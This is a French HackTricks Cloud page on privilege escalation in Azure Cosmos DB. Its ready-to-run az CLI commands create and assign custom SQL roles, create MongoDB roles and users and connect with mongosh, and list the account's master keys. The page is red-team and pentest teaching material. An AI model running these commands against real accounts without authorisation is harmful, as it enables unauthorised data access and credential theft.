Az - CosmosDB Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
CosmosDB Privesc
Pour plus dâinformations sur SQL Database, consultez :
(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)
Avec ces permissions, vous pouvez escalader les privilĂšges en donnant Ă un utilisateur les permissions dâexĂ©cuter des requĂȘtes et de se connecter Ă la base de donnĂ©es. Tout dâabord, un rĂŽle de dĂ©finition est créé en donnant les permissions et les portĂ©es nĂ©cessaires.
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'
AprĂšs cela, lâattribution de la dĂ©finition est donnĂ©e Ă un utilisateur. AprĂšs cela, cet utilisateur peut utiliser la mĂ©thode de connexion DefaultAzureCredential() pour exĂ©cuter des requĂȘtes.
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"
(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)
Avec cette autorisation, vous pouvez crĂ©er de nouvelles dĂ©finitions de rĂŽle MongoDB au sein dâun compte Azure Cosmos DB. Cela permet de dĂ©finir des rĂŽles personnalisĂ©s avec des autorisations spĂ©cifiques pour les utilisateurs MongoDB. Les fonctionnalitĂ©s RBAC doivent ĂȘtre activĂ©es pour utiliser cela.
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
Vous pouvez crĂ©er de nouvelles dĂ©finitions dâutilisateur MongoDB au sein dâun compte Azure Cosmos DB. Cela permet de provisionner des utilisateurs avec des rĂŽles spĂ©cifiques et un accĂšs aux bases de donnĂ©es MongoDB.
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
AprÚs cela, un nouvel utilisateur est créé dans le MongoDB, nous pouvons y accéder :
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
Microsoft.DocumentDB/databaseAccounts/listKeys/action
Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accÚs complet au compte de base de données et à ses ressources, permettant des actions telles que des lectures de données, des écritures et des modifications de configuration.
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

